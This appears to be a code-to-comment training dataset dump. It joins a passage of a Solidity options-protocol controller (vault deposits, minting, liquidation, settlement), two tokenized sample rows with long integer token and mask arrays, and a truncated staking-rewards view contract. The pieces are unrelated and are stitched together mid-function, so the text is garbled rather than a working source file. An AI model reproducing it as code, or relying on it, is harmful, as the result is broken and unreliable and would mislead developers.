if (!isExcess) return 0;
return netValue;
}
/**
* @notice check if a vault is liquidatable in a specific round id
* @param _owner vault owner address
* @param _vaultId vault id to check
* @param _roundId chainlink round id to check vault status at
* @return isUnderCollat, true if vault is undercollateralized, the price of 1 repaid otoken and the otoken collateral dust amount
*/
function isLiquidatable(
address _owner,
uint256 _vaultId,
uint256 _roundId
)
external
view
returns (
bool,
uint256,
uint256
)
{
(, bool isUnderCollat, uint256 price, uint256 dust) = _isLiquidatable(_owner, _vaultId, _roundId);
return (isUnderCollat, price, dust);
}
/**
* @notice get an oToken's payout/cash value after expiry, in the collateral asset
* @param _otoken oToken address
* @param _amount amount of the oToken to calculate the payout for, always represented in 1e8
* @return amount of collateral to pay out
*/
function getPayout(address _otoken, uint256 _amount) public view returns (uint256) {
return calculator.getExpiredPayoutRate(_otoken).mul(_amount).div(10**BASE);
}
/**
* @dev return if an expired oToken is ready to be settled, only true when price for underlying,
* strike and collateral assets at this specific expiry is available in our Oracle module
* @param _otoken oToken
*/
function isSettlementAllowed(address _otoken) external view returns (bool) {
(address underlying, address strike, address collateral, uint256 expiry) = _getOtokenDetails(_otoken);
return _canSettleAssets(underlying, strike, collateral, expiry);
}
/**
* @dev return if underlying, strike, collateral are all allowed to be settled
* @param _underlying oToken underlying asset
* @param _strike oToken strike asset
* @param _collateral oToken collateral asset
* @param _expiry otoken expiry timestamp
* @return True if the oToken has expired AND all oracle prices at the expiry timestamp have been finalized, False if not
*/
function canSettleAssets(
address _underlying,
address _strike,
address _collateral,
uint256 _expiry
) external view returns (bool) {
return _canSettleAssets(_underlying, _strike, _collateral, _expiry);
}
/**
* @notice get the number of vaults for a specified account owner
* @param _accountOwner account owner address
* @return number of vaults
*/
function getAccountVaultCounter(address _accountOwner) external view returns (uint256) {
return accountVaultCounter[_accountOwner];
}
/**
* @notice check if an oToken has expired
* @param _otoken oToken address
* @return True if the otoken has expired, False if not
*/
function hasExpired(address _otoken) external view returns (bool) {
return now >= OtokenInterface(_otoken).expiryTimestamp();
}
/**
* @notice return a specific vault
* @param _owner account owner
* @param _vaultId vault id of vault to return
* @return Vault struct that corresponds to the _vaultId of _owner
*/
function getVault(address _owner, uint256 _vaultId) external view returns (MarginVault.Vault memory) {
return (vaults[_owner][_vaultId]);
}
/**
* @notice return a specific vault
* @param _owner account owner
* @param _vaultId vault id of vault to return
* @return Vault struct that corresponds to the _vaultId of _owner, vault type and the latest timestamp when the vault was updated
*/
function getVaultWithDetails(address _owner, uint256 _vaultId)
public
view
returns (
MarginVault.Vault memory,
uint256,
uint256
)
{
return (vaults[_owner][_vaultId], vaultType[_owner][_vaultId], vaultLatestUpdate[_owner][_vaultId]);
}
/**
* @notice get cap amount for collateral asset
* @param _asset collateral asset address
* @return cap amount
*/
function getNakedCap(address _asset) external view returns (uint256) {
return nakedCap[_asset];
}
/**
* @notice get amount of collateral deposited in all naked margin vaults
* @param _asset collateral asset address
* @return naked pool balance
*/
function getNakedPoolBalance(address _asset) external view returns (uint256) {
return nakedPoolBalance[_asset];
}
/**
* @notice execute a variety of actions
* @dev for each action in the action array, execute the corresponding action, only one vault can be modified
* for all actions except SettleVault, Redeem, and Call
* @param _actions array of type Actions.ActionArgs[], which expresses which actions the user wants to execute
* @return vaultUpdated, indicates if a vault has changed
* @return owner, the vault owner if a vault has changed
* @return vaultId, the vault Id if a vault has changed
*/
function _runActions(Actions.ActionArgs[] memory _actions)
internal
returns (
bool,
address,
uint256
)
{
address vaultOwner;
uint256 vaultId;
bool vaultUpdated;
for (uint256 i = 0; i < _actions.length; i++) {
Actions.ActionArgs memory action = _actions[i];
Actions.ActionType actionType = action.actionType;
// actions except Settle, Redeem, Liquidate and Call are "Vault-updating actinos"
// only allow update 1 vault in each operate call
if (
(actionType != Actions.ActionType.SettleVault) &&
(actionType != Actions.ActionType.Redeem) &&
(actionType != Actions.ActionType.Liquidate) &&
(actionType != Actions.ActionType.Call)
) {
// check if this action is manipulating the same vault as all other actions, if a vault has already been updated
if (vaultUpdated) {
require(vaultOwner == action.owner, "C12");
require(vaultId == action.vaultId, "C13");
}
vaultUpdated = true;
vaultId = action.vaultId;
vaultOwner = action.owner;
}
if (actionType == Actions.ActionType.OpenVault) {
_openVault(Actions._parseOpenVaultArgs(action));
} else if (actionType == Actions.ActionType.DepositLongOption) {
_depositLong(Actions._parseDepositArgs(action));
} else if (actionType == Actions.ActionType.WithdrawLongOption) {
_withdrawLong(Actions._parseWithdrawArgs(action));
} else if (actionType == Actions.ActionType.DepositCollateral) {
_depositCollateral(Actions._parseDepositArgs(action));
} else if (actionType == Actions.ActionType.WithdrawCollateral) {
_withdrawCollateral(Actions._parseWithdrawArgs(action));
} else if (actionType == Actions.ActionType.MintShortOption) {
_mintOtoken(Actions._parseMintArgs(action));
} else if (actionType == Actions.ActionType.BurnShortOption) {
_burnOtoken(Actions._parseBurnArgs(action));
} else if (actionType == Actions.ActionType.Redeem) {
_redeem(Actions._parseRedeemArgs(action));
} else if (actionType == Actions.ActionType.SettleVault) {
_settleVault(Actions._parseSettleVaultArgs(action));
} else if (actionType == Actions.ActionType.Liquidate) {
_liquidate(Actions._parseLiquidateArgs(action));
} else if (actionType == Actions.ActionType.Call) {
_call(Actions._parseCallArgs(action));
}
}
return (vaultUpdated, vaultOwner, vaultId);
}
/**
* @notice verify the vault final state after executing all actions
* @param _owner account owner address
* @param _vaultId vault id of the final vault
*/
function _verifyFinalState(address _owner, uint256 _vaultId) internal view {
(MarginVault.Vault memory vault, uint256 typeVault, ) = getVaultWithDetails(_owner, _vaultId);
(, bool isValidVault) = calculator.getExcessCollateral(vault, typeVault);
require(isValidVault, "C14");
}
/**
* @notice open a new vault inside an account
* @dev only the account owner or operator can open a vault, cannot be called when system is partiallyPaused or fullyPaused
* @param _args OpenVaultArgs structure
*/
function _openVault(Actions.OpenVaultArgs memory _args)
internal
notPartiallyPaused
onlyAuthorized(msg.sender, _args.owner)
{
uint256 vaultId = accountVaultCounter[_args.owner].add(1);
require(_args.vaultId == vaultId, "C15");
// store new vault
accountVaultCounter[_args.owner] = vaultId;
vaultType[_args.owner][vaultId] = _args.vaultType;
emit VaultOpened(_args.owner, vaultId, _args.vaultType);
}
/**
* @notice deposit a long oToken into a vault
* @dev only the account owner or operator can deposit a long oToken, cannot be called when system is partiallyPaused or fullyPaused
* @param _args DepositArgs structure
*/
function _depositLong(Actions.DepositArgs memory _args)
internal
notPartiallyPaused
onlyAuthorized(msg.sender, _args.owner)
{
require(_checkVaultId(_args.owner, _args.vaultId), "C35");
// only allow vault owner or vault operator to deposit long otoken
require((_args.from == msg.sender) || (_args.from == _args.owner), "C16");
require(whitelist.isWhitelistedOtoken(_args.asset), "C17");
OtokenInterface otoken = OtokenInterface(_args.asset);
require(now < otoken.expiryTimestamp(), "C18");
vaults[_args.owner][_args.vaultId].addLong(_args.asset, _args.amount, _args.index);
pool.transferToPool(_args.asset, _args.from, _args.amount);
emit LongOtokenDeposited(_args.asset, _args.owner, _args.from, _args.vaultId, _args.amount);
}
/**
* @notice withdraw a long oToken from a vault
* @dev only the account owner or operator can withdraw a long oToken, cannot be called when system is partiallyPaused or fullyPaused
* @param _args WithdrawArgs structure
*/
function _withdrawLong(Actions.WithdrawArgs memory _args)
internal
notPartiallyPaused
onlyAuthorized(msg.sender, _args.owner)
{
require(_checkVaultId(_args.owner, _args.vaultId), "C35");
OtokenInterface otoken = OtokenInterface(_args.asset);
require(now < otoken.expiryTimestamp(), "C19");
vaults[_args.owner][_args.vaultId].removeLong(_args.asset, _args.amount, _args.index);
pool.transferToUser(_args.asset, _args.to, _args.amount);
emit LongOtokenWithdrawed(_args.asset, _args.owner, _args.to, _args.vaultId, _args.amount);
}
/**
* @notice deposit a collateral asset into a vault
* @dev only the account owner or operator can deposit collateral, cannot be called when system is partiallyPaused or fullyPaused
* @param _args DepositArgs structure
*/
function _depositCollateral(Actions.DepositArgs memory _args)
internal
notPartiallyPaused
onlyAuthorized(msg.sender, _args.owner)
{
require(_checkVaultId(_args.owner, _args.vaultId), "C35");
// only allow vault owner or vault operator to deposit collateral
require((_args.from == msg.sender) || (_args.from == _args.owner), "C20");
require(whitelist.isWhitelistedCollateral(_args.asset), "C21");
(, uint256 typeVault, ) = getVaultWithDetails(_args.owner, _args.vaultId);
if (typeVault == 1) {
nakedPoolBalance[_args.asset] = nakedPoolBalance[_args.asset].add(_args.amount);
require(nakedPoolBalance[_args.asset] <= nakedCap[_args.asset], "C37");
}
vaults[_args.owner][_args.vaultId].addCollateral(_args.asset, _args.amount, _args.index);
pool.transferToPool(_args.asset, _args.from, _args.amount);
emit CollateralAssetDeposited(_args.asset, _args.owner, _args.from, _args.vaultId, _args.amount);
}
/**
* @notice withdraw a collateral asset from a vault
* @dev only the account owner or operator can withdraw collateral, cannot be called when system is partiallyPaused or fullyPaused
* @param _args WithdrawArgs structure
*/
function _withdrawCollateral(Actions.WithdrawArgs memory _args)
internal
notPartiallyPaused
onlyAuthorized(msg.sender, _args.owner)
{
require(_checkVaultId(_args.owner, _args.vaultId), "C35");
(MarginVault.Vault memory vault, uint256 typeVault, ) = getVaultWithDetails(_args.owner, _args.vaultId);
if (_isNotEmpty(vault.shortOtokens)) {
OtokenInterface otoken = OtokenInterface(vault.shortOtokens[0]);
require(now < otoken.expiryTimestamp(), "C22");
}
if (typeVault == 1) {
nakedPoolBalance[_args.asset] = nakedPoolBalance[_args.asset].sub(_args.amount);
}
vaults[_args.owner][_args.vaultId].removeCollateral(_args.asset, _args.amount, _args.index);
pool.transferToUser(_args.asset, _args.to, _args.amount);
emit CollateralAssetWithdrawed(_args.asset, _args.owner, _args.to, _args.vaultId, _args.amount);
}
/**
* @notice mint short oTokens from a vault which creates an obligation that is recorded in the vault
* @dev only the account owner or operator can mint an oToken, cannot be called when system is partiallyPaused or fullyPaused
* @param _args MintArgs structure
*/
function _mintOtoken(Actions.MintArgs memory _args)
internal
notPartiallyPaused
onlyAuthorized(msg.sender, _args.owner)
{
require(_checkVaultId(_args.owner, _args.vaultId), "C35");
require(whitelist.isWhitelistedOtoken(_args.otoken), "C23");
OtokenInterface otoken = OtokenInterface(_args.otoken);
require(now < otoken.expiryTimestamp(), "C24");
vaults[_args.owner][_args.vaultId].addShort(_args.otoken, _args.amount, _args.index);
otoken.mintOtoken(_args.to, _args.amount);
emit ShortOtokenMinted(_args.otoken, _args.owner, _args.to, _args.vaultId, _args.amount);
}
/**
* @notice burn oTokens to reduce or remove the minted oToken obligation recorded in a vault
* @dev only the account owner or operator can burn an oToken, cannot be called when system is partiallyPaused or fullyPaused
* @param _args MintArgs structure
*/
function _burnOtoken(Actions.BurnArgs memory _args)
internal
notPartiallyPaused
onlyAuthorized(msg.sender, _args.owner)
{
// check that vault id is valid for this vault owner
require(_checkVaultId(_args.owner, _args.vaultId), "C35");
// only allow vault owner or vault operator to burn otoken
require((_args.from == msg.sender) || (_args.from == _args.owner), "C25");
OtokenInterface otoken = OtokenInterface(_args.otoken);
// do not allow burning expired otoken
require(now < otoken.expiryTimestamp(), "C26");
// remove otoken from vault
vaults[_args.owner][_args.vaultId].removeShort(_args.otoken, _args.amount, _args.index);
// burn otoken
otoken.burnOtoken(_args.from, _args.amount);
emit ShortOtokenBurned(_args.otoken, _args.owner, _args.from, _args.vaultId, _args.amount);
}
/**
* @notice redeem an oToken after expiry, receiving the payout of the oToken in the collateral asset
* @dev cannot be called when system is fullyPaused
* @param _args RedeemArgs structure
*/
function _redeem(Actions.RedeemArgs memory _args) internal {
OtokenInterface otoken = OtokenInterface(_args.otoken);
// check that otoken to redeem is whitelisted
require(whitelist.isWhitelistedOtoken(_args.otoken), "C27");
(address collateral, address underlying, address strike, uint256 expiry) = _getOtokenDetails(address(otoken));
// only allow redeeming expired otoken
require(now >= expiry, "C28");
require(_canSettleAssets(underlying, strike, collateral, expiry), "C29");
uint256 payout = getPayout(_args.otoken, _args.amount);
otoken.burnOtoken(msg.sender, _args.amount);
pool.transferToUser(collateral, _args.receiver, payout);
emit Redeem(_args.otoken, msg.sender, _args.receiver, collateral, _args.amount, payout);
}
/**
* @notice settle a vault after expiry, removing the net proceeds/collateral after both long and short oToken payouts have settled
* @dev deletes a vault of vaultId after net proceeds/collateral is removed, cannot be called when system is fullyPaused
* @param _args SettleVaultArgs structure
*/
function _settleVault(Actions.SettleVaultArgs memory _args) internal onlyAuthorized(msg.sender, _args.owner) {
require(_checkVaultId(_args.owner, _args.vaultId), "C35");
(MarginVault.Vault memory vault, uint256 typeVault, ) = getVaultWithDetails(_args.owner, _args.vaultId);
OtokenInterface otoken;
// new scope to avoid stack too deep error
// check if there is short or long otoken in vault
// do not allow settling vault that have no short or long otoken
// if there is a long otoken, burn it
// store otoken address outside of this scope
{
bool hasShort = _isNotEmpty(vault.shortOtokens);
bool hasLong = _isNotEmpty(vault.longOtokens);
require(hasShort || hasLong, "C30");
otoken = hasShort ? OtokenInterface(vault.shortOtokens[0]) : OtokenInterface(vault.longOtokens[0]);
if (hasLong) {
OtokenInterface longOtoken = OtokenInterface(vault.longOtokens[0]);
longOtoken.burnOtoken(address(pool), vault.longAmounts[0]);
}
}
(address collateral, address underlying, address strike, uint256 expiry) = _getOtokenDetails(address(otoken));
// do not allow settling vault with un-expired otoken
require(now >= expiry, "C31");
require(_canSettleAssets(underlying, strike, collateral, expiry), "C29");
(uint256 payout, bool isValidVault) = calculator.getExcessCollateral(vault, typeVault);
// require that vault is valid (has excess collateral) before settling
// to avoid allowing settling undercollateralized naked margin vault
require(isValidVault, "C32");
delete vaults[_args.owner][_args.vaultId];
if (typeVault == 1) {
nakedPoolBalance[collateral] = nakedPoolBalance[collateral].sub(payout);
}
pool.transferToUser(collateral, _args.to, payout);
uint256 vaultId = _args.vaultId;
address payoutRecipient = _args.to;
emit VaultSettled(_args.owner, address(otoken), payoutRecipient, payout, vaultId, typeVault);
}
/**
* @notice liquidate naked margin vault
* @dev can liquidate different vaults id in the same operate() call
* @param _args liquidation action arguments struct
*/
function _liquidate(Actions.LiquidateArgs memory _args) internal notPartiallyPaused {
require(_checkVaultId(_args.owner, _args.vaultId), "C35");
// check if vault is undercollateralized
// the price is the amount of collateral asset to pay per 1 repaid debt(otoken)
// collateralDust is the minimum amount of collateral that can be left in the vault when a partial liquidation occurs
(MarginVault.Vault memory vault, bool isUnderCollat, uint256 price, uint256 collateralDust) = _isLiquidatable(
_args.owner,
_args.vaultId,
_args.roundId
);
require(isUnderCollat, "C33");
// amount of collateral to offer to liquidator
uint256 collateralToSell = _args.amount.mul(price).div(1e8);
// if vault is partially liquidated (amount of short otoken is still greater than zero)
// make sure remaining collateral amount is greater than dust amount
if (vault.shortAmounts[0].sub(_args.amount) > 0) {
require(vault.collateralAmounts[0].sub(collateralToSell) >= collateralDust, "C34");
}
// burn short otoken from liquidator address, index of short otoken hardcoded at 0
// this should always work, if vault have no short otoken, it will not reach this step
OtokenInterface(vault.shortOtokens[0]).burnOtoken(msg.sender, _args.amount);
// decrease amount of collateral in liquidated vault, index of collateral to decrease is hardcoded at 0
vaults[_args.owner][_args.vaultId].removeCollateral(vault.collateralAssets[0], collateralToSell, 0);
// decrease amount of short otoken in liquidated vault, index of short otoken to decrease is hardcoded at 0
vaults[_args.owner][_args.vaultId].removeShort(vault.shortOtokens[0], _args.amount, 0);
// decrease internal naked margin collateral amount
nakedPoolBalance[vault.collateralAssets[0]] = nakedPoolBalance[vault.collateralAssets[0]].sub(collateralToSell);
pool.transferToUser(vault.collateralAssets[0], _args.receiver, collateralToSell);
emit VaultLiquidated(
msg.sender,
_args.receiver,
_args.owner,
price,
_args.roundId,
collateralToSell,
_args.amount,
_args.vaultId
);
}
/**
* @notice execute arbitrary calls
* @dev cannot be called when system is partiallyPaused or fullyPaused
* @param _args Call action
*/
function _call(Actions.CallArgs memory _args) internal notPartiallyPaused onlyWhitelistedCallee(_args.callee) {
CalleeInterface(_args.callee).callFunction(msg.sender, _args.data);
emit CallExecuted(msg.sender, _args.callee, _args.data);
}
/**
* @notice check if a vault id is valid for a given account owner address
* @param _accountOwner account owner address
* @param _vaultId vault id to check
* @return True if the _vaultId is valid, False if not
*/
function _checkVaultId(address _accountOwner, uint256 _vaultId) internal view returns (bool) {
return ((_vaultId > 0) && (_vaultId <= accountVaultCounter[_accountOwner]));
}
function _isNotEmpty(address[] memory _array) internal pure returns (bool) {
return (_array.length > 0) && (_array[0] != address(0));
}
/**
* @notice return if a callee address is whitelisted or not
* @param _callee callee address
* @return True if callee address is whitelisted, False if not
*/
function _isCalleeWhitelisted(address _callee) internal view returns (bool) {
return whitelist.isWhitelistedCallee(_callee);
}
/**
* @notice check if a vault is liquidatable in a specific round id
* @param _owner vault owner address
* @param _vaultId vault id to check
* @param _roundId chainlink round id to check vault status at
* @return vault struct, isLiquidatable, true if vault is undercollateralized, the price of 1 repaid otoken and the otoken collateral dust amount
*/
function _isLiquidatable(
address _owner,
uint256 _vaultId,
uint256 _roundId
)
internal
view
returns (
MarginVault.Vault memory,
bool,
uint256,
uint256
)
{
(MarginVault.Vault memory vault, uint256 typeVault, uint256 latestUpdateTimestamp) = getVaultWithDetails(
_owner,
_vaultId
);
(bool isUnderCollat, uint256 price, uint256 collateralDust) = calculator.isLiquidatable(
vault,
typeVault,
latestUpdateTimestamp,
_roundId
);
return (vault, isUnderCollat, price, collateralDust);
}
/**
* @dev get otoken detail, from both otoken versions
*/
function _getOtokenDetails(address _otoken)
internal
view
returns (
address,
address,
address,
uint256
)
{
OtokenInterface otoken = OtokenInterface(_otoken);
try otoken.getOtokenDetails() returns (
address collateral,
address underlying,
address strike,
uint256,
uint256 expiry,
bool
) {
return (collateral, underlying, strike, expiry);
} catch {
return (otoken.collateralAsset(), otoken.underlyingAsset(), otoken.strikeAsset(), otoken.expiryTimestamp());
}
}
/**
* @dev return if an expired oToken is ready to be settled, only true when price for underlying,
* strike and collateral assets at this specific expiry is available in our Oracle module
* @return True if the oToken has expired AND all oracle prices at the expiry timestamp have been finalized, False if not
*/
function _canSettleAssets(
address _underlying,
address _strike,
address _collateral,
uint256 _expiry
) internal view returns (bool) {
return
oracle.isDisputePeriodOver(_underlying, _expiry) &&
oracle.isDisputePeriodOver(_strike, _expiry) &&
oracle.isDisputePeriodOver(_collateral, _expiry);
}
/**
* @dev updates the internal configuration of the controller
*/
function _refreshConfigInternal() internal {
whitelist = WhitelistInterface(addressbook.getWhitelist());
oracle = OracleInterface(addressbook.getOracle());
calculator = MarginCalculatorInterface(addressbook.getMarginCalculator());
pool = MarginPoolInterface(addressbook.getMarginPool());
}
}
|
* @notice parses the passed in action arguments to get the arguments for a deposit action @param _args general action arguments structure @return arguments for a deposit action/
|
function _parseDepositArgs(ActionArgs memory _args) internal pure returns (DepositArgs memory) {
require(
(_args.actionType == ActionType.DepositLongOption) || (_args.actionType == ActionType.DepositCollateral),
"A8"
);
require(_args.owner != address(0), "A9");
return
DepositArgs({
owner: _args.owner,
vaultId: _args.vaultId,
from: _args.secondAddress,
asset: _args.asset,
index: _args.index,
amount: _args.amount
});
}
| 6,146,039 |
[
1,
1065,
2420,
326,
2275,
316,
1301,
1775,
358,
336,
326,
1775,
364,
279,
443,
1724,
1301,
225,
389,
1968,
7470,
1301,
1775,
3695,
327,
1775,
364,
279,
443,
1724,
1301,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
2670,
758,
1724,
2615,
12,
1803,
2615,
3778,
389,
1968,
13,
2713,
16618,
1135,
261,
758,
1724,
2615,
3778,
13,
288,
203,
3639,
2583,
12,
203,
5411,
261,
67,
1968,
18,
1128,
559,
422,
4382,
559,
18,
758,
1724,
3708,
1895,
13,
747,
261,
67,
1968,
18,
1128,
559,
422,
4382,
559,
18,
758,
1724,
13535,
2045,
287,
3631,
203,
5411,
315,
37,
28,
6,
203,
3639,
11272,
203,
3639,
2583,
24899,
1968,
18,
8443,
480,
1758,
12,
20,
3631,
315,
37,
29,
8863,
203,
203,
3639,
327,
203,
5411,
4019,
538,
305,
2615,
12590,
203,
7734,
3410,
30,
389,
1968,
18,
8443,
16,
203,
7734,
9229,
548,
30,
389,
1968,
18,
26983,
548,
16,
203,
7734,
628,
30,
389,
1968,
18,
8538,
1887,
16,
203,
7734,
3310,
30,
389,
1968,
18,
9406,
16,
203,
7734,
770,
30,
389,
1968,
18,
1615,
16,
203,
7734,
3844,
30,
389,
1968,
18,
8949,
203,
5411,
15549,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0x5d72e1B68a5043c99D700d0928F0A922963f186E/sources/contracts/qiConnector.sol
|
* @dev Claim Accrued Qi Token. @notice Claim Accrued Qi Token. @param setId ID stores the amount of Reward claimed./
|
function ClaimQiReward(uint256 setId) external payable returns (string memory _eventName, bytes memory _eventParam) {
TokenInterface _benqiToken = TokenInterface(address(benqiToken));
uint intialBal = _benqiToken.balanceOf(address(this));
troller.claimReward(rewardQi, address(this));
uint finalBal = _benqiToken.balanceOf(address(this));
uint amt = sub(finalBal, intialBal);
setUint(setId, amt);
_eventName = "LogClaimedReward(uint256,uint256)";
_eventParam = abi.encode(amt, setId);
}
| 4,635,346 |
[
1,
9762,
15980,
86,
5957,
2238,
77,
3155,
18,
225,
18381,
15980,
86,
5957,
2238,
77,
3155,
18,
225,
10446,
1599,
9064,
326,
3844,
434,
534,
359,
1060,
7516,
329,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
18381,
53,
77,
17631,
1060,
12,
11890,
5034,
10446,
13,
3903,
8843,
429,
1135,
261,
1080,
3778,
389,
2575,
461,
16,
1731,
3778,
389,
2575,
786,
13,
288,
203,
3639,
29938,
389,
19425,
85,
77,
1345,
273,
29938,
12,
2867,
12,
19425,
85,
77,
1345,
10019,
203,
3639,
2254,
509,
649,
38,
287,
273,
389,
19425,
85,
77,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
268,
1539,
18,
14784,
17631,
1060,
12,
266,
2913,
53,
77,
16,
1758,
12,
2211,
10019,
203,
3639,
2254,
727,
38,
287,
273,
389,
19425,
85,
77,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2254,
25123,
273,
720,
12,
6385,
38,
287,
16,
509,
649,
38,
287,
1769,
203,
203,
3639,
444,
5487,
12,
542,
548,
16,
25123,
1769,
203,
203,
3639,
389,
2575,
461,
273,
315,
1343,
9762,
329,
17631,
1060,
12,
11890,
5034,
16,
11890,
5034,
2225,
31,
203,
3639,
389,
2575,
786,
273,
24126,
18,
3015,
12,
301,
88,
16,
10446,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "./MultiRewardsLiquidityMiningManager.sol";
import "./TimeLockPool.sol";
import "./MultiRewardsTimeLockPool.sol";
/// @dev reader contract to easily fetch all relevant info for an account
contract MultiRewardsView {
struct Data {
uint256 pendingRewards;
Pool[] pools;
Pool escrowPool;
uint256 totalWeight;
}
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
uint256 multiplier;
}
struct Pool {
address poolAddress;
uint256 totalPoolShares;
address depositToken;
uint256 accountPendingRewards;
uint256 accountClaimedRewards;
uint256 accountTotalDeposit;
uint256 accountPoolShares;
uint256 weight;
Deposit[] deposits;
}
MultiRewardsLiquidityMiningManager public immutable liquidityMiningManager;
TimeLockPool public immutable escrowPool;
constructor(address _liquidityMiningManager, address _escrowPool) {
liquidityMiningManager = MultiRewardsLiquidityMiningManager(_liquidityMiningManager);
escrowPool = TimeLockPool(_escrowPool);
}
function fetchData(address _account) external view returns (Data memory result) {
uint256 rewardPerSecond = liquidityMiningManager.rewardPerSecond();
uint256 lastDistribution = liquidityMiningManager.lastDistribution();
uint256 pendingRewards = rewardPerSecond * (block.timestamp - lastDistribution);
result.pendingRewards = pendingRewards;
result.totalWeight = liquidityMiningManager.totalWeight();
MultiRewardsLiquidityMiningManager.Pool[] memory pools = liquidityMiningManager.getPools();
result.pools = new Pool[](pools.length);
for(uint256 i = 0; i < pools.length; i ++) {
MultiRewardsTimeLockPool poolContract = MultiRewardsTimeLockPool(address(pools[i].poolContract));
address reward = address(liquidityMiningManager.reward());
result.pools[i] = Pool({
poolAddress: address(pools[i].poolContract),
totalPoolShares: poolContract.totalSupply(),
depositToken: address(poolContract.depositToken()),
accountPendingRewards: poolContract.withdrawableRewardsOf(reward, _account),
accountClaimedRewards: poolContract.withdrawnRewardsOf(reward, _account),
accountTotalDeposit: poolContract.getTotalDeposit(_account),
accountPoolShares: poolContract.balanceOf(_account),
weight: pools[i].weight,
deposits: new Deposit[](poolContract.getDepositsOfLength(_account))
});
MultiRewardsTimeLockPool.Deposit[] memory deposits = poolContract.getDepositsOf(_account);
for(uint256 j = 0; j < result.pools[i].deposits.length; j ++) {
MultiRewardsTimeLockPool.Deposit memory deposit = deposits[j];
result.pools[i].deposits[j] = Deposit({
amount: deposit.amount,
start: deposit.start,
end: deposit.end,
multiplier: poolContract.getMultiplier(deposit.end - deposit.start)
});
}
}
result.escrowPool = Pool({
poolAddress: address(escrowPool),
totalPoolShares: escrowPool.totalSupply(),
depositToken: address(escrowPool.depositToken()),
accountPendingRewards: escrowPool.withdrawableRewardsOf(_account),
